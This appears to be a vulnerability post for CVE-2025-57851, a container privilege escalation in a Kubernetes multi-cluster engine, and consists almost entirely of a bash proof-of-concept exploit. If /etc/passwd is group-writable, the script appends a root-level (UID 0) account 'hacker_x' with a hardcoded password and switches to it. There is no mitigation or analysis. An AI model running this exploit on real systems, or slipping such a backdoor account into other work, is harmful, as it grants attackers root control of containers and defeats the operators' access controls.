CVE-2025-57851 Kubernetes多集群引擎容器权限提升漏洞

#!/bin/bash # PoC for CVE-2025-57851: Container Privilege Escalation via group-writable /etc/passwd # Check if /etc/passwd is group-writable if [ -w /etc/passwd ]; then echo "[+] /etc/passwd is writable by current user/group." # Generate a password hash for the new root user 'hacker' # Password: 'password123' SALT=$(openssl rand -base64 6) HASH=$(openssl passwd -1 -salt "$SALT" "password123") # Create a new user entry with UID 0 (root) # Format: username:password:UID:GID:gecos:home:shell NEW_USER="hacker_x:${HASH}:0:0:Pwned:/root:/bin/bash" # Append the new user to /etc/passwd echo "$NEW_USER" >> /etc/passwd echo "[+] User 'hacker_x' added with UID 0." echo "[+] Attempting to switch to the new user..." # Switch to the new user (requires interactive shell in real scenario) su - hacker_x else echo "[-] /etc/passwd is not writable. Exploit failed." fi